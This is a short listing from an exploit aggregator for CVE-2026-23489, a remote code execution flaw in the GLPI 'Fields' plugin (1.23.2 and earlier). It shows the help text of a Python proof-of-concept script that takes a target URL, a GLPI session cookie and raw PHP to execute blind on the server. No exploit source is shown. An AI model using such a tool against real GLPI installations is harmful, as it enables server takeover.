Sploitus

Exploit for poc

CVE-2026-23489

kitploit · 2026-08-28

Exploit Code

MARKDOWN22 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EORLL-LGTM-POC-CVE-2026-23489
# POC CVE-2026-23489

Prova di concetto per la CVE-2026-23489 del plugin "Fields" di GLPI <= 1.23.2

root@kitploit:~
    
    
    $ python3 poc_fields_rce.py -h
    usage: poc_fields_rce.py [-h] --url URL --cookie-name COOKIE_NAME --cookie-value COOKIE_VALUE --php PHP [--no-cleanup]
    
    GLPI Fields plugin <=1.23.2 dropdown-generation RCE (blind).
    
    options:
      -h, --help            show this help message and exit
      --url URL             Target base URL, e.g. http://your.glpi.instance.local
      --cookie-name COOKIE_NAME
                            GLPI session cookie name (glpi_<hash>)
      --cookie-value COOKIE_VALUE
                            GLPI session cookie value
      --php PHP             Raw PHP to execute on the server (end statements with ';', < ~100 chars)
      --no-cleanup          Keep the container/field (default purges it; leaving it breaks Setup > Dropdowns).